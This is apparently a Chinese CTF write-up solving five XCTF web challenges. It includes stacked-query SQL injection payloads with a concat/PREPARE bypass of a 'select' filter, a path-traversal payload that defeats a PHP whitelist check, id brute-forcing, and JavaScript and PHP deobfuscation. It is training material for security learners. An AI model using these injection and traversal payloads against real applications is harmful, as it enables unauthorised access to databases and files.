1. 程式人生 > 實用技巧 >攻防世界 - Web進階(二)

攻防世界 - Web進階(二)

supersqli:

(!!!)

1.判斷有誤注入,1'報錯, 1’ 報錯,1’# 正常且為True,1’ and 1=1# 正常且為True,1’ and 1=2# 正常且為False,所以它裡邊存在注入。

2.

inject=1’;show databases;#

3.

inject=1';show tables;#

4.看一下這幾個表
1’;show columns from words;#
1’;show columns from `1919810931114514`;# (字串為表名操作時要加反引號)


1’;show columns from hahahah;#
最後發現在1919810931114514這個表裡

5.然後用concat繞過

1';use supersqli;set @sql=concat(‘s’,'elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;–+

flag:

flag{c168d583ed0d4d7196967b28cbd0b5e9}

參考:

https://blog.csdn.net/gongjingege/article/details/107576587

ics-06:

1.點選各個按鈕,發現“報表中心”點選後有新頁面,並發現有index.php和id索引,

2.修改id值,發現並沒有其他頁面,嘗試暴力破解,

3.id=2333時長度值不同,測試得到flag,

flag:

 cyberpeace{1fccd89a11e8ee7bc82ee1ccc7288487}

warmup:

1.進入頁面,發現是一張“滑稽”......啊這......開啟控制檯,發現source.php,

2.進入source.php,

3.將source.php改為hint.php,發現並沒有什麼亂用,

4.依然檢視原始碼,最後if的三個判斷條件,

①! empty($_REQUEST['file'])
//要求file變數不為空 ②is_string($_REQUEST[
'file'])
//檢查是否為字串 ③emmm::checkFile($_REQUEST[
'file']

//利用函式進行檢查

5.對函式進行分析,

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }
//傳入的引數是source.php或者hint.php都返回true
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//
取傳進引數首次出現?前的部分,再進行白名單判斷,如果還不滿足繼續往下判斷
$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
//將傳進的引數進行urldecode編碼,然後進行上一步判斷,都不滿足就輸出"you can't see it"並且返回假

6.由於是request請求,因此可以利用GET,POST,COOKIE傳參(此處使用GET),

7.構造滿足第二個判斷條件的payload,

http://220.249.52.133:55731/source.php?file=source.php?
http://220.249.52.133:55731/source.php?file=hint.php?

8.構造payload四層目錄,

http://220.249.52.133:55731/source.php?file=source.php?../../../../../ffffllllaaaagggg

9.得到flag,

flag:

 flag{25e7bce6005c4e0c983fb97297ac6e5a} 

補充:

include函式某個功能:以字元‘/’分隔(而且不計個數),若是在前面的字串所代表的檔案無法被PHP找到,則PHP會自動包含‘/’後面的檔案——注意是最後一個‘/’。
include
(PHP 4, PHP 5, PHP 7)
include 語句包含並執行指定檔案。

以下文件也適用於 require。
被包含檔案先按引數給出的路徑尋找,如果沒有給出目錄(只有檔名)時則按照 include_path 指定的目錄尋找。如果在 include_path 下沒找到該檔案則 include 最後才在呼叫指令碼檔案所在的目錄和當前工作目錄下尋找。如果最後仍未找到檔案則 include 結構會發出一條警告;這一點和 require 不同,後者會發出一個致命錯誤。

如果定義了路徑——不管是絕對路徑(在 Windows 下以碟符或者 \ 開頭,在 Unix/Linux 下以 / 開頭)還是當前目錄的相對路徑(以 . 或者 .. 開頭)——include_path 都會被完全忽略。例如一個檔案以 ../ 開頭,則解析器會在當前目錄的父目錄下尋找該檔案。

有關 PHP 怎樣處理包含檔案和包含路徑的更多資訊參見 include_path 部分的文件。

當一個檔案被包含時,其中所包含的程式碼繼承了 include 所在行的變數範圍。從該處開始,呼叫檔案在該行處可用的任何變數在被呼叫的檔案中也都可用。不過所有在包含檔案中定義的函式和類都具有全域性作用域。 
mb_strpos
(PHP 4 >= 4.0.6, PHP 5, PHP 7)

mb_strpos — 查詢字串在另一個字串中首次出現的位置
mb_strpos():返回要查詢的字串在別一個字串中首次出現的位置

語法:
mb_strpos (haystack ,needle )

引數:
haystack:要被檢查的字串。
needle:要搜尋的字串。
mb_substr() 函式返回字串的一部分,之前我們學過 substr() 函式,它只針對英文字元,如果要分割的中文文字則需要使用 mb_substr()。

註釋:如果 start 引數是負數且 length 小於或等於 start,則 length 為 0。
語法
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string

引數         描述
str         必需。從該 string 中提取子字串。

start     必需。規定在字串的何處開始。
    正數 - 在字串的指定位置開始
    負數 - 在從字串結尾的指定位置開始
    0 - 在字串中的第一個字元處開始

length    可選。規定要返回的字串長度。預設是直到字串的結尾。
    正數 - 從 start 引數所在的位置返回
    負數 - 從字串末端返回

encoding    可選。字元編碼。如果省略,則使用內部字元編碼。

參考:

https://blog.csdn.net/tch3430493902/article/details/103928125/

https://blog.csdn.net/qq_42016346/article/details/104199710

NaNNaNNaNNaN-Batman:

1.下載附件,用記事本打開發現是亂碼,用winhex開啟,發現是一段hmtl程式碼,

2.將拓展名改為.html並開啟,

3.隨便輸入一段字元,點選“Ok”發現沒有反應,檢視程式碼可以發現,_是一個變數,

因此將末尾的eval()函式改為alert()函式,再次開啟網頁,出現彈窗,並得到可閱讀的程式碼,

4.整理程式碼,

function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
    {   var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
    for(var o=0;o<13;++o)
        {
         document.write(s[o%4][0]);
         s[o%4].splice(0,1)
        }
    }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

5.根據程式碼中if的條件,依次滿足:長度為16,be0f23開頭,e98aa結尾,包含233ac,包含c7be9,則:

be0f233ac7be98aa

注意:正則表示式,^為開始符,$為結束符

6.將之前修改的alert()函式改回eval()函式,開啟該html檔案,輸入5中的字串,

7.另外,還可以在控制檯直接複製以下程式碼,

var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
    for(var o=0;o<13;++o)
        {
         document.write(s[o%4][0]);
         s[o%4].splice(0,1)
        }

flag:

flag{it's_a_h0le_in_0ne}

具體參考:

https://www.cnblogs.com/meibumei/p/12876150.html

web2:

1.進入頁面,是一段程式碼,而且思路已給出,

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
  //
// echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密演算法,解密$miwen就是flag */ ?>

2.編寫逆向程式碼,

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 
echo strrev($_o);
?>

3.得到flag,

flag:

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

參考:
https://blog.csdn.net/weixin_42499640/article/details/99102049